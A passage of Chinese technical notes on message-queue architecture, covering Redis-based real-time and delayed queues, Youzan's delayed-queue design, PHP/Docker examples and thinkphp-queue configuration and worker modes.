用户下单后,订单系统完成持久化处理,将消息写入消息队列,返回用户订单下单成功。 库存系统: 订阅下单的消息,采用拉/推的方式,获取下单信息,库存系统根据下单信息,进行库存操作。 假如在下单时库存系统不能正常使用,也不影响正常下单,因为下单后订单系统写入消息队列就不再关心其他的后续操作了,实现订单系统与库存系统的应用解耦。 解藕案例: 队列处理"订单系统"和"配送系统" 对于订单流程,可以设计两个系统,一个是"订单系统" 另外一个是 "配送系统",网购提交了一个订单之后,在后台可以看到货物正在配送中,这个时候就要参与进来一个"配送系统"。 如果做架构的时候把订单系统和配送系统设计在一起的话就会出现一些问题,首先对于订单系统来说,因为系统的压力会比较大,但配送系统没必要为这些压力做一些即时的反应。 第二个也不希望在订单系统出现故障之后导致配送系统也出现故障,这个时候就会同时影响到两个系统的正常运转,所以希望把这两个系统进行解耦。这两系统分开之后可以通过一个中间的队列表进行这两个系统的沟通。 架构设计 (1)、首先订单系统会接收用户的订单,然后进行订单的处理。 (2)、然后会把这些订单信息写到队列表中,这个队列表是沟通这两个系统的关键。 (3)、由配送系统定时执行的一个程序来读取队列表进行处理。 (4)、配送系统处理之后,会把已处理的记录进行标记。使用MySQL实现消息队列
2、峰值处理、削峰填谷 场景: 流量在各个时间点不均衡,瞬间流量剧增 案例: 秒杀、抢购,一般秒杀时订单特别多,但数据库无法一次性的处理这么多,所以可以先存在消息队列中,无论进的速度多快,出的速度都是一定的 思路: 当用户点击按钮提交购买请求时,并不直接马上执行购买请求动作,而是将请求动作存入消息列队,用户的请求到此结束,而在服务器后台,从消息列队中逐一取出请求记录,再进行数据库操作,完成处理之后将处理结果返回给用户。由于消息队列的存取是先进先出,因此所有处理将按请求顺序进行处理。由于处理是在后台一个一个完成,因此不会对服务器和数据库造成巨大压力 解释: 小明制作蛋糕的时间比较长,订单来到后先登记成一个清单,然后逐次按顺序制作,订单量过大时会暂时挂出『已售完』的牌子。 实现: 使用单线程的工具将业务需求进行排队处理,当业务请求达到阀值时给出友好提示并拒绝用户的需求。 对于消峰需求,可以高峰期挂出『暂时无法购买,请稍等』等提示,防止流量对后续业务的冲击。 对于秒杀等抢完即停的需求,需要考虑超发问题,可以添加一个名额计数器,或在秒杀名额已满员时发放一个秒杀完成标记,后续处理程序检测到完成标记后,再进行后续处理。 流量削峰案例: Redis的list类型实现秒杀 redis基于内存,速度会非常快,redis对数据库有一个非常好的补充作用,因为它是可持久化的,redis会周期性的把数据写到硬盘里,所以它不用担心断电的问题,从这方面说它比另一款缓存memcache更有优势些,另外redis提供五种数据类型(字符串,双向链表,哈希,集合,有序集合) 一般情况下做秒杀案例,抢购,瞬间高并发,需要排队的案例中redis是一个很好的选择。 redis数据类型中的list类型是一个双向链表,可以从头部或者尾部追加数据。 LPUSH/LPUSHX :将值插入到(/存在的)列表头部 RPUSH/RPUSHX: 将值插入到(/存在的)列表尾部 LPOP : 移除并获取列表的第一个元素 RPOP: 移除并获取列表的最后一个元素 LTRIM: 保留指定区间内的元素 LLEN: 获取列表长度 LSET: 通过索引设置列表元素的值 LINDEX: 通过索引获取列表中的元素 LRANGE: 获取列表指定范围内的元素 架构设计 1、首先记录是哪一个用户参与了秒杀同时记录他的时间。 2、将用户的id存到redis列表中,让它排队。如果规定只有前10个用户可以参与成功,如果列表中的个数已经够了就不会让它继续追加数据,这样redis的列表长度就只会是10个 3、最后在慢慢的将redis中的数据写入到数据库中,以减少数据的压力 代码级设计 1、当用户开始秒杀时,将秒杀程序的请求写入Redis(uid,time_stamp)中。 2、假使规定只有10人可以秒杀成功,检查Redis已经存放数据的长度,超出上限直接丢弃说明秒杀完成。 3、最后在死循环处理存入Redis中的10条数据,然后在慢慢的取数据并存入到mysql数据库中。 在秒杀这一块对于数据库的压力特别大,如果没有这样的设计会造成mysql的写入瓶颈。通过Redis的list,然后把秒杀的请求放入Redis,最后通过入库程序把数据慢慢的写入到数据库,这样的话就可以实现流量的均衡,对mysql不会造成太大的压力。利用redis实现消息队列处理高并发请求php+redis实现消息队列
3、送达保证,冗余 场景: 内容需要逐条严格执行,并保证执行成功,执行不成功或中断时可以恢复 案例: 银行、财务类系统,需提升容灾能力的系统,重点考虑容灾相关问题,如业务恢复问题、重复处理问题。 解释: 小明制作的蛋糕需要客户验货签收后,才可以继续制作下一个蛋糕。 实现: 入队系统将业务需求写入消息队列后,即进行下一次业务处理。后续处理程序对队列内容进行逐条处理,处理完成后发放『完成许可』。消息队列中的内容,只有取得『完成许可』后才可以从消息队列中删除。 四: 排序保证 场景: 消息队列中的内容有严格的顺序。 案例: 抢号排队等系统 解释: 小明制作蛋糕的顺序需要严格按下单顺序来制作。 实现: 入队系统将内容逐条写入消息队列,并按单线排列,按先进先出的顺序来提出数据并进行后续处理。需要使用单线程,保证只有一条生产线。 4、扩展性 场景: 采用发布-订阅模式时添加新的订阅者 案例: 注册用户后发送成功短信的模型中追加一个发送email的功能 实现: 由多个消费者订阅一个消息的中间层,然后发布者将信息发布到中间层中。订阅了这个中间层的消费者均可以收到这个消息,并进行后续处理。在这个结构中,如果想添加一个消息的后续处理组件,只需要将这个组件订阅到中间层即可 保证业务之间没有深度耦合,防止扩展时造成干扰。 【 队列介质 】 1、数据库,如mysql(可靠性高,易实现,速度慢) 2、缓存,如redis(速度快,单个消息报包过大时效率低) 3、消息系统,如rabbitMq(专业性强,可靠,学习成本高) apt install rabbitmq-server(安装之后自动运行,ps aux查看进程,rabbitmq官网查看demo) 下载php-amqplib 【 消息处理触发机制 】 1、死循环方式读取队列并处理: 易实现,服务器压力大,故障时无法及时恢复;比较适合做秒杀,比较集中,运维集中维护 2、定时执行任务: 压力均分,有处理上限;目前比较流行的处理触发机制。唯一的缺点是间隔和数据需要注意,不要等上一个任务没有完成下一个任务又开始了 3、守护进程: 类似于php-fpm和php-cgi,需要shell基础
Redis实现延迟队列
Redis既能快又能慢 Redis是一种基于内存的单进程单线程数据库,Redis6.0开始之后支持多线程,处理速度都非常快。Redis又能慢是指Redis可以设置一些参数达到慢处理的结果 场景: 在淘宝、京东等购物平台上下单,超过一定时间未付款,订单会自动取消。 打车的时候,在规定时间没有车主接单,平台会取消单并提醒暂时没有车主接单。 点外卖的时候,如果商家在10分钟还没接单就会自动取消订单。 收快递的时候,如果没有点确认收货,在一段时间后程序会自动完成订单。 在平台完成订单后,如果没有在规定时间评论商品,会自动默认买家不评论。 .......还有很多这样的场景。 为什么要这样做? 因为这样可以保证商品的库存可以释放给其他人购买,你可以不用一直等待打车却得不到回复,你可以及时换一家店点到外卖。 那么这些情况都是如何实现的呢? 当用户发送一个消息请求给服务器后台的时候,服务器会检测这条消息是否需要进行延时处理,如果需要就放入到延时队列中,由延时任务检测器进行检测和处理,对于不需要进行延时处理的任务,服务器会立马对消息进行处理,并把处理后的结果相应返会给用户 对于在延时任务检测器内部的话,有查询延迟任务和执行延时任务两个职能,任务检测器会先去延时任务队列进行队列中信息读取,判断当前队列中哪些任务已经时间到期并将已经到期的任务输出执行(具有实时性,会存在一定的时间误差,因为这个是定时任务) Redis的延迟队列基于有序集合,score为执行时间戳,value为任务实体或任务实体引用 可以使用zset(sortedset)命令,用设置好的时间戳作为score进行排序,使用 zadd score1 value1 ....命令就可以一直往内存中生产消息。再利用 zrangebysocre 查询符合条件的所有待处理的任务,通过循环执行队列任务即可。也可以通过 zrangebyscore key min max withscores limit 0 1 查询最早的一条任务,来进行消费 总的来说可以通过以下两种方式来实现: (1)使用zrangebyscore来查询当前延时队列中所有任务,找出所有需要进行处理的延时任务,在依次进行操作。 (2)查找当前最早的一条任务,通过score值来判断任务执行的时候是否大于了当前系统的时候,比如说: 最早的任务执行时间在3点,系统时间在2点58分,表示这个应该需要立马被执行啦,时间快到了 Redis实现延时队列有何优势 (1)Redis zset支持高性能的score排序。 (2)Redis是在内存上进行操作的,速度非常快。 (3)Redis可以搭建集群,当消息很多时候可以用集群来提高消息处理的速度,提高可用性。 (4)Redis具有持久化机制,当出现故障的时候可以通过AOF和RDB方式来对数据进行恢复,保证了数据的可靠性 其他实现延时队列的方式 一、用消息中间件实现延时队列 早期需要延迟处理的业务场景,更多的是通过定时任务扫表,然后执行满足条件的记录,具有频率高、命中低、资源消耗大的缺点。随着消息中间件的普及,延迟消息可以很好的处理这种场景 使用场景 1、有效期: 限时活动、拼团 2、超时处理: 取消超时未支付订单、超时自动确认收货 3、延迟处理: 机器人点赞/观看数/评论/关注、等待依赖条件 4、重试: 网络异常重试、打车派单、依赖条件未满足重试 5、定时任务: 智能设备定时启动 (1)通过RabbitMQ实现延时队列 基于AMQP协议,使用Erlang编写,实现了一个Broker框架 方法一: 在MQ中可以对Queue设置x-expires过期时间或者对Message设置超时时间x-message-ttl。 延时相同的消息要扔到同一个队列中,对于每一个延时要建立一个与之对应的队列—这是由于MQ的过期检测是惰性检测的 方法二: 可以用RabbitMQ的插件rabbitmq-delayed-message-exchange插件来实现延时队列。达到可投递时间时并将其通过x-delayed-type类型标记的交换机类型投递至目标队列。 (2)RocketMQ实现延时队列 来源于阿里,目前为Apache顶级开源项目,使用Java编写,基于长轮询的拉取方式,支持事务消息,并解决了顺序消息和海量堆积的问题 rocketmq在发送延时消息时,是先把消息按照延迟时间段发送到指定的队列中(把延时时间段相同的消息放到同一个队列中,保证了消息处理的顺序性,可以让同一个队列中消息延时时间是相同的,整个RocketMQ中延时消息时按照递增顺序排序,保证信息处理的先后顺序性)。之后通过一个定时器来轮询处理这些队列里的信息,判断是否到期。对于到期的消息会发送到相应的处理队列中,进行处理。 目前RocketMQ只支持特定的延时时间段,1s,5s,10s,...2h,不能支持任意时间段的延时设置 (3)ActiveMQ 基于JMS协议,Java编写的Apache顶级开源项目,支持点对点和发布订阅两种模式 (4)Kafka实现延时队 来源于Linkedin,目前为Apache顶级开源项目,使用Scala和Java编写,基于zookeeper协调的分布式、流处理的日志系统,升级版为Jafka Kafka基于时间轮自定义了一个用于实现延迟功能的定时器(SystemTimer),Kafka中的时间轮(TimingWheel)是一个存储定时任务的环形队列,可以进行相关的延时队列设置 (5)Netty实现延时队列 Netty也有基于时间轮算法来实现延时队列。Netty在构建延时队列主要用HashedWheelTimer,HashedWheelTimer底层数据结构是使用DelayedQueue,采用时间轮的算法来实现。 (6)DelayQueue来实现延时队列 Java中有自带的DelayQueue数据类型,可以用这个来实现延时队列。DelayQueue是封装了一个PriorityQueue(优先队列),在向DelayQueue队列中添加元素时,会给元素一个Delay(延迟时间)作为排序条件,队列中最小的元素会优先放在队首,对于队列中的元素只有到了Delay时间才允许从队列中取出。这种实现方式是数据保存在内存中,可能面临数据丢失的情况,同时它是无法支持分布式系统的
有赞延迟队列设计
延迟队列,顾名思义它是一种带有延迟功能的消息队列,在什么场景下才需要这样的队列呢?
背景
先看看以下业务场景:
当订单一直处于未支付状态时,如何及时的关闭订单,并退还库存?
如何定期检查处于退款状态的订单是否已经退款成功?
新创建店铺,N天内没有上传商品,系统如何知道该信息,并发送激活短信?等等
为了解决以上问题,最简单直接的办法就是定时去扫表。每个业务都要维护一个自己的扫表逻辑。 当业务越来越多时,我们会发现扫表部分的逻辑会非常类似。我们可以考虑将这部分逻辑从具体的业务逻辑里面抽出来,变成一个公共的部分。
那么开源界是否已有现成的方案呢?答案是肯定的。Beanstalkd(http://kr.github.io/beanstalkd/), 它基本上已经满足以上需求。但是,在删除消息的时候不是特别方便,需要更多的成本。而且它是基于C语言开发的,当时我们团队主流是PHP和Java,没法做二次开发。于是我们借鉴了它的设计思路,用Java重新实现了一个延迟队列。
设计目标
消息传输可靠性: 消息进入到延迟队列后,保证至少被消费一次。
Client支持丰富: 由于业务上的需求,至少支持PHP和Python。
高可用性: 至少得支持多实例部署。挂掉一个实例后,还有后备实例继续提供服务。
实时性: 允许存在一定的时间误差。
支持消息删除: 业务使用方,可以随时删除指定消息。
整体结构
整个延迟队列由4个部分组成:
Job Pool用来存放所有Job的元信息。
Delay Bucket是一组以时间为维度的有序队列,用来存放所有需要延迟的/已经被reserve的Job(这里只存放Job Id)。
Timer负责实时扫描各个Bucket,并将delay时间大于等于当前时间的Job放入到对应的Ready Queue。
Ready Queue存放处于Ready状态的Job(这里只存放Job Id),以供消费程序消费。
设计要点
基本概念
Job: 需要异步处理的任务,是延迟队列里的基本单元。与具体的Topic关联在一起。
Topic: 一组相同类型Job的集合(队列)。供消费者来订阅。
消息结构
每个Job必须包含一下几个属性:
Topic: Job类型。可以理解成具体的业务名称。
Id: Job的唯一标识。用来检索和删除指定的Job信息。
Delay: Job需要延迟的时间。单位: 秒。(服务端会将其转换为绝对时间)
TTR(time-to-run): Job执行超时时间。单位: 秒。
Body: Job的内容,供消费者做具体的业务处理,以json格式存储。
消息状态转换
每个Job只会处于某一个状态下:
ready: 可执行状态,等待消费。
delay: 不可执行状态,等待时钟周期。
reserved: 已被消费者读取,但还未得到消费者的响应(delete、finish)。
deleted: 已被消费完成或者已被删除。
消息存储
在选择存储介质之前,先来确定下具体的数据结构:
Job Poll存放的Job元信息,只需要K/V形式的结构即可。key为job id,value为job struct。
Delay Bucket是一个有序队列。
Ready Queue是一个普通list或者队列都行。
能够同时满足以上需求的,非redis莫属了。
bucket的数据结构就是redis的zset,将其分为多个bucket是为了提高扫描速度,降低消息延迟。
通信协议
为了满足多语言Client的支持,我们选择Http通信方式,通过文本协议(json)来实现与Client端的交互。 目前支持以下协议:
添加: {'command’:’add’, ’topic’:’xxx’, 'id’: 'xxx’, 'delay’: 30, ’TTR’: 60, 'body’:'xxx'}
获取: {'command’:’pop’, ’topic’:’xxx'}
完成: {'command’:’finish’, 'id’:’xxx'}
删除: {'command’:’delete’, 'id’:’xxx'}
body也是一个json串。
Response结构: {’success’:true/false, 'error’:’error reason’, 'id’:’xxx’, 'value’:’job body'}
强调一下: job id是由业务使用方决定的,一定要保证全局唯一性。这里建议采用topic+业务唯一id的组合。
举例说明一个Job的生命周期
用户对某个商品下单,系统创建订单成功,同时往延迟队列里put一个job。job结构为: {'topic':'orderclose’, 'id':'ordercloseorderNoXXX’, 'delay’:1800 ,’TTR':60 , 'body':’XXXXXXX’}
延迟队列收到该job后,先往job pool中存入job信息,然后根据delay计算出绝对执行时间,并以轮询(round-robbin)的方式将job id放入某个bucket。
timer每时每刻都在轮询各个bucket,当1800秒(30分钟)过后,检查到上面的job的执行时间到了,取得job id从job pool中获取元信息。如果这时该job处于deleted状态,则pass,继续做轮询;如果job处于非deleted状态,首先再次确认元信息中delay是否大于等于当前时间,如果满足则根据topic将job id放入对应的ready queue,然后从bucket中移除;如果不满足则重新计算delay时间,再次放入bucket,并将之前的job id从bucket中移除。
消费端轮询对应的topic的ready queue(这里仍然要判断该job的合理性),获取job后做自己的业务逻辑。与此同时,服务端将已经被消费端获取的job按照其设定的TTR,重新计算执行时间,并将其放入bucket。
消费端处理完业务后向服务端响应finish,服务端根据job id删除对应的元信息。
现有物理拓扑
deploy目前采用的是集中存储机制,在多实例部署时Timer程序可能会并发执行,导致job被重复放入ready queue。为了解决这个问题,我们使用了redis的setnx命令实现了简单的分布式锁,以保证每个bucket每次只有一个timer thread来扫描。
设计不足的地方
timer是通过独立线程的无限循环来实现,在没有ready job的时候会对CPU造成一定的浪费。
消费端在reserve job的时候,采用的是http短轮询的方式,且每次只能取的一个job。如果ready job较多的时候会加大网络I/O的消耗。
数据存储使用的redis,消息在持久化上受限于redis的特性。
scale-out的时候依赖第三方(nginx)。
未来架构方向
基于wait/notify方式的Timer实现。
提供TCP长连的API,实现push或者long-polling的消息reserve方法。
拥有自己的存储方案(内嵌数据库、自定义数据结构写文件),确保消息的持久化。
实现自己的name-server。
考虑提供周期性任务的直接支持。
Redis实时队列和延时队列的php实现
环境搭建
创建根目录test,然后在test目录里面创建Dockerfile文件和docker-composer.yml文件,内容如下:
Dockerfile
FROM php:7.4.11-cli-alpine3.12
LABEL MAINTAINER="redistest"
ENV ROOT_PATH /webapp
WORKDIR ${ROOT_PATH}
RUN mkdir -p ${ROOT_PATH} && \
cp /usr/local/etc/php/php.ini-production /usr/local/etc/php/php.ini && \
sed -i 's/;date.timezone =/date.timezone = PRC/g' /usr/local/etc/php/php.ini && \
sed -i 's/upload_max_filesize = 2M/upload_max_filesize = 8M/g' /usr/local/etc/php/php.ini && \
sed -i 's/dl-cdn.alpinelinux.org/mirrors.ustc.edu.cn/g' /etc/apk/repositories && \
apk update && \
apk add gcc g++ automake autoconf libtool make
RUN pecl install http://pecl.php.net/get/redis-5.1.1.tgz && docker-php-ext-enable redis
RUN apk add supervisor && echo_supervisord_conf
CMD supervisord -n -c /etc/supervisord.conf
docker-composer.yml
version: '3'
services:
redis-test:
build:
context: .
dockerfile: ./Dockerfile
image: redis-test
working_dir: /webapp
volumes:
- ./:/webapp
links:
- redis
redis:
image: redis:5.0.6-alpine
command: redis-server --notify-keyspace-events Ex
实时队列
使用lists数据结构,生产者将消息(数据)入队,消费者将消息出队后处理业务逻辑。
生产者producter.php
$redis = new Redis();
$redis->connect('redis',6379); //连接redis
$key = 'queue'; //队列名
$redis->rPush($key,1,2); //向队列右侧入队数据1和2
消费者consumer.php
$redis = new Redis();
$redis->connect('redis',6379); //连接redis
$key = 'queue'; //队列名
while(true){ //死循环
while($value = $redis->blPop($key,5)){ //队列左侧出队(阻塞式)
//处理业务逻辑
echo $value[1];
echo PHP_EOL;
}
}
延时队列
一,使用sorted sets数据结构,score存储时间戳(timestamp)。
$redis = new Redis();
$redis->connect('redis',6379); //连接redis
$key = 'queue'; //队列名
$time = time();
for($i=$time-20;$i<$time;++$i){
$redis->zAdd($key,$i,$i.'-val'); //写入测试数据
}
while(true){ //死循环出队
$r = $redis->multi()->zRangeByScore($key,0,$time)->zRemRangeByScore($key,0,$time)->exec();
if(isset($r[0])){
foreach($r[0] as $value){
//处理逻辑
echo $value;
echo PHP_EOL;
}
}
}
二,使用redis的发布,订阅过期key通知。
$redis = new Redis();
$redis->connect('redis',6379); //连接redis
for($i=1;$i<=3;++$i){
$time = time() + $i;
$key = 'key_exp_'.$time;
$val = $time.'-val';
$redis->set($key,$val,['nx', 'ex'=>$i]);//设置过期key
}
//订阅key过期事件
$redis->psubscribe(array('__keyevent@0__:expired'), function($redis, $pattern, $chan, $msg){
echo "Pattern: $pattern\n";
echo "Channel: $chan\n";
echo "Payload: $msg\n\n";
});
执行
打开终端,切换到根目录test里,启动服务命令如下:
docker-compose up
在终端打开新窗口,进入容器命令如下:
docker exec -it redis_redis-test_1 sh
总结与思考
利用Redis能够实现实时队列和延时队列的功能,但优势和缺点都同样非常明显,优势就是配置简单,使用方便快捷。缺点是消费者出队后在处理逻辑的过程若进程因意外死了数据会丢失,而且上例中延时队列只适合处理小量消息。
think-queue
composer install thinkphp-queue:2.0.4
composer require topthink/think-queue 1.1.4 fastadmin
目标: 在业务控制器中推送一个新消息到一个名为 'helloJobQueue’ 的队列中,该消息中包含我们自定义的业务数据,然后,编写一个名为 Hello 的消费者类,并通过命令行去调用该消费者类获取这个消息,拿到定义的数据
一个消息的 创建 -> 推送 -> 消费 -> 删除 的基本流程
【 thinkphp-queue 的目录结构和类关系图 】
命令行 Command + Worker 负责解析命令行参数,控制队列的启动,重启
驱动 Queue + Connector 负责队列的创建,以及消息的入队,出队等操作
任务 Job 用于将消息转化为一个任务对象,供消费者使用
生产者 业务代码 负责消息的创建与发布
消费者 业务代码 负责任务的接收与执行
【 消息状态转换 】
每个Job只会处于某一个状态下:
ready: 可执行状态,等待消费。
delay: 不可执行状态,等待时钟周期。
reserved: 已被消费者读取,但还未得到消费者的响应(delete、finish)。
deleted: 已被消费完成或者已被删除。
【 消息与队列的保存方式 】
Redis中每一个队列都三个key与之对应,以redis中queueName为helloJobQueue队列举例
queues:queueName list 要执行的任务列表
queues:queueName:delayed zSet 延迟任务,延迟执行和定时执行的任务集合
queues:queueName:reserved zSet 执行失败,等待重新执行任务集合
think:queue:restart string 重启队列时间戳
在有序集合中每个元素代表一个任务,该元素的Score为该任务的入队时间戳,任务的value为json格式,保存了任务的执行情况和业务数据。将value decode为数组后形式如下:
[
'job' => 'application\\index\\job\\Hello' , // jobHandlerClassName,消费者类的类名
'data' => [ // 生产者传入的业务数据
'time' => '2017-02-18 16:20:10',
'data' => 'I have 648 apples'
],
'id' => '77IasdasadIasdadadadKL8t', // 一个随机的32位字符串
'attempts' => 2 // 任务的已尝试次数
]
redis驱动下为了实现任务的延迟执行和过期重发,任务将在这三个key中来回转移
Database模式下消息处理的消息流程中,如果配置的expire不是null,那么thinkphp-queue的work进程每次在获取下一个可执行任务之前,会先尝试重发所有过期的任务。
而在redis驱动下,这个步骤则做了更多的事情,详情如下:
1.从 queue:xxx:delayed 的key中查询出有哪些任务在当前时刻已经可以开始执行,然后将这些任务转移到 queue:xxx 的key的尾部。
2.从 queue:xxx:reserved 的key中查询出有哪些任务在当前时刻已经过期,然后将这些任务转移到 queue:xxx的key的尾部。
3.尝试从 queue:xxx 的key的头部取出一个任务,如果取出成功,那么将这个任务转移到queue:xxx:reserved的key的头部,同时将这个任务实例化成任务对象,交给消费者去执行。
Database中每个任务对应到表中的一行,queue字段用来区分不同的队列
payLoad 字段保存了消息的执行者和业务数据,payLoad 字段采用 json 格式的字符串来保存消息,将其 decode 为数组后形式如下:
[
'job' => 'application\\index\\job\\Hello', // jobHandlerClassName,消费者类的类名
'data' => string|array|integer|object // 生产者传入的业务数据
]
【 命令 】
php think queue:work 监听队列
php think queue:listen 监听队列
php think queue:restart 重启队列
php think queue:subscribe
【 行为标签 】
worker_daemon_start 守护进程开启
worker_memory_exceeded 内存超出
worker_queue_restart 重启守护进程
worker_before_process 任务开始执行之前
worker_before_sleep 任务延迟执行
queue_failed 任务执行失败
标签的使用
//守护进程开启
'worker_daemon_start' => [
\app\index\behavior\WorkerDaemonStart::class
],
//内存超出
'worker_memory_exceeded' => [
\app\index\behavior\WorkerMemoryExceeded::class
],
//重启守护进程
'worker_queue_restart' => [
\app\index\behavior\WorkerQueueRestart::class
],
//任务开始执行之前
'worker_before_process' => [
\app\index\behavior\WorkerBeforeProcess::class
],
//任务延迟执行
'worker_before_sleep' => [
\app\index\behavior\WorkerBeforeSleep::class
],
//任务执行失败
'queue_failed' => [
\app\index\behavior\QueueFailed::class
]
【 配置 】
tp51\config\queue.php
expire参数指的是任务的过期时间,单位为秒
过期的任务的准确的定义是
1.任务的状态为执行中
2.任务的开始执行的时刻 + expire > 当前时刻
expire不为null时,thinkphp-queue会在每次获取下一个任务之前检查并重发过期(执行超时)的任务。
expire为null时,thinkphp-queue不会检查过期的任务,性能相对较高一点。但这些执行超时的任务会一直留在消息队列中,且一直占用消息队列的空间,需要开发者另行处理(删除或者重发)!
配置的expire不为null,但配置的expire时间太短,以至于expire时间 < 消费者的fire()方法所需时间+删除该任务所需的时间,那么任务将被误认为执行超时,从而被消息队列还原为待执行状态。
return [
// 'connector' => 'Sync' // 默认Sync驱动,该驱动的实际作用是取消消息队列,还原为同步执行
'connector' => 'Redis', // Redis 驱动
'expire' => 60, // 任务的过期时间,默认为60秒;若要禁用则设置为null
'default' => 'default', // 默认的队列名称
'host' => '127.0.0.1', // redis主机ip
'port' => 6379, // redis端口
'password' => '', // redis密码
'select' => 0, // 使用哪一个db,默认为db0
'timeout' => 0, // redis连接的超时时间
'persistent' => false, // 是否是长连接
// 'connector' => 'Database', // 数据库驱动
// 'expire' => 60, // 任务的过期时间,默认为60秒;若要禁用则设置为null
// 'default' => 'default', // 默认的队列名称
// 'table' => 'jobs', // 存储消息的表名,不带前缀
// 'dsn' => [],
// 'connector' => 'Topthink', // ThinkPHP内部的队列通知服务平台
// 'token' => '',
// 'project_id' => '',
// 'protocol' => 'https',
// 'host' => 'qns.topthink.com',
// 'port' => 443,
// 'api_version' => 1,
// 'max_retries' => 3,
// 'default' => 'default',
];
【 发布任务 】
在浏览器中访问 http://your.project.domain/index/test/actionWithHelloJob,可以看到消息推送成功
think\Queue::push($job, $data = '', $queue = null) 立即执行,rPush到redis中key为queue:queueName
think\Queue::later($delay, $job, $data = '', $queue = null) 延迟发布,在$delay秒后执行,zAdd到redis中key为queue:queueName:delayed,score为当前的时间戳+$delay
$job是任务名
单模块的,且命名空间是app\job的,比如上面的例子一,写Job1类名即可
多模块的,且命名空间是app\module\job的,写model/Job1即可
其他的需要些完整的类名app\lib\job\Job2
如果一个任务类里有多个小任务的话,需要用@+方法名app\lib\job\Job2@task1、app\lib\job\Job2@task2
$data是要传到任务里的参数
$queue队列名,指定这个任务是在哪个队列上执行,同下面监控队列的时候指定的队列名,可不填
多任务
如果一个任务类里有多个小任务的话,在发布任务时需要用 任务的类名@方法名 如 app\lib\job\Job2@task1、app\lib\job\Job2@task2
注意: 命令行中的 --queue 参数不支持@解析
【 监听任务并执行 】
具体的可选参数可以输入命令加 --help 查看
php think queue:listen
php think queue:work--daemon(不加--daemon为执行单个任务)
php think queue:work --queue helloJobQueue 启动一个work进程来处理消息队列
php think queue:listen --queue helloJobQueue 启动一个listen进程 ,然后由listen进程通过 proc_open('php think queue:work--queue="%s" --delay=%s --memory=%s --sleep=%s --tries=%s’) 的方式来周期性地创建一次性的work进程来消费消息队列, 并且限制该work进程的执行时间, 同时通过管道来监听work进程的输出
work模式
php think queue:work\
--daemon //是否循环执行,如果不加该参数,则该命令处理完下一个消息就退出
--queue helloJobQueue //要处理的队列的名称
--delay 0 \ //如果本次任务执行抛出异常且任务未被删除时,设置其下次执行前延迟多少秒,默认为0
--force \ //系统处于维护状态时是否仍然处理任务,并未找到相关说明
--memory 128 \ //该进程允许使用的内存上限,以 M 为单位
--sleep 3 \ //如果队列中无任务,则sleep多少秒后重新检查(work+daemon模式)或退出(listen或非daemon模式)
--tries 2 //如果任务已经超过尝试次数上限,则触发'任务尝试次数超限’事件,默认为0
listen模式 不包含--deamon参数
php think queue:listen\
--queue helloJobQueue \ //监听的队列的名称
--delay 0 \ //如果本次任务执行抛出异常且任务未被删除时,设置其下次执行前延迟多少秒,默认为0
--memory 128 \ //该进程允许使用的内存上限,M为单位
--sleep 3 \ //如果队列中无任务,则多长时间后重新检查
--tries 0 \ //如果任务已经超过重发次数上限则进入失败处理逻辑,默认为0
--timeout 60 //work进程允许执行的最长时间,以秒为单位
work模式和listen模式的区别
两者都可以用于处理消息队列中的任务
1. 执行原理不同
work命令是单进程的处理模式。
按照是否设置了--daemon参数,work命令又可分为单次执行和循环执行两种模式。
单次执行: 不添加--daemon参数,该模式下work进程在处理完下一个消息后直接结束当前进程。当队列为空时会sleep一段时间然后退出。
循环执行: 添加--daemon参数,该模式下work进程会循环地处理队列中的消息,直到内存超出参数配置才结束进程。当队列为空时会在每次循环中sleep一段时间。
使用queue:work --daemon,但更新代码后没有使用queue:restart重启work进程,使得work进程中的代码与最新的代码不同,出现各种问题。
使用queue:work --daemon,但消费者类的fire()方法中存在死循环或sleep(n)等逻辑,导致消息队列被堵塞;或者使用了exit(),die()这样的逻辑导致work进程直接终止
listen命令是 父进程 + 子进程(双进程 + 管道) 的处理模式。
listen命令所在的父进程会创建一个单次执行模式的work子进程,并通过该work子进程来处理队列中的下一个消息,每次创建的work进程只消费一个消息就会结束
当这个work子进程退出之后,listen父进程会监听到该子进程的退出信号,并重新创建一个新的单次执行的work子进程,如此循环
listen进程会定时检查当前的work进程执行时间是否超过了--timeout参数的值,如果已超时则listen进程会kill掉work进程,然后抛出异常
listen进程会通过管道来监听当前的work进程的输出,当work进程有输出时listen进程会将输出写入到stdout/stderr
listen进程会定时通过proc_get_status()来监控当前的work进程是否仍在运行,work进程消费完一个任务之后,work进程就结束了,其状态会变成terminated,此时listen进程就会重新创建一个新的work进程并对其计时,新的work进程开始消费下一个任务
2. 结束时机不同
work命令的结束时机同上
listen父进程正常情况会一直运行,除非遇到下面两种情况:
listen进程定时检查当前work进程的执行时间是否超过了--timeout值,超时listen进程会先kill掉当前的work进程,然后抛出一个ProcessTimeoutException异常并结束listen进程,开发者可以选择捕获该异常,让父进程继续执行;
listen进程会定时检查自身使用的内存是否超过了--memory参数的值,如果已超过listen进程会直接die掉,work进程也会自动结束,正常情况下listen进程本身占用的内存是稳定不变的
3. 性能不同
work命令是在脚本内部做循环,框架脚本在命令执行的初期就已加载完毕;
listen模式则是处理完一个任务之后新开一个work进程,此时会重新加载框架脚本。
因此: work模式的性能会比listen模式高。
注意: 当代码有更新时,work模式下需要手动去执行php think queue:restart命令重启队列来使改动生效;而listen模式会自动生效,无需其他操作。
4. 超时控制能力
work模式本质上既不能控制进程自身的运行时间,也无法限制执行中的任务的执行时间。
假如在某次上线之后,\application\index\job\Hello.php消费者的fire方法中添加了一段死循环 :
public function fire(){
while(true){ //死循环
$consoleOutPut->writeln("< info>I am looping forever inside a job.< /info> \n");
sleep(1);
}
}
那么这个循环将永远不能停止,直到任务所在的进程超过内存限制或由管理员手动结束。这个过程不会有任何的告警。更严重的是,如果配置了expire,那么这个死循环的任务可能会污染到同样处理helloJobQueue队列的其他work进程,最后好几个work进程将被卡死在这段死循环中
work模式下的超时控制能力,实际上应该理解为多个work进程配合下的过期任务重发能力。
而listen命令可以限制listen进程创建的work进程的最大执行时间。
listen命令可通过--timeout参数限制work进程允许运行的最长时间,超过该时间限制后,work进程会被强制kill掉,listen进程本身也会抛出异常并结束;
expire和timeout的区别:
expire在配置文件中设置,timeout在listen命令的命令行参数中设置,而且expire和timeout是两个不同层次上的概念:
expire是指任务的过期时间,这个时间是全局的,影响到所有的work进程,不管是独立的work命令还是listen模式下创建的的work进程;expire针对的对象是任务。
timeout是指work进程的超时时间。这个时间只对当前执行的listen命令有效。timeout针对的对象是work进程
5. 使用场景不同
work命令的适用场景是:
任务数量较多
性能要求较高
任务的执行时间较短
消费者类中不存在死循环,sleep() ,exit() ,die() 等容易导致bug的逻辑
listen命令的适用场景是:
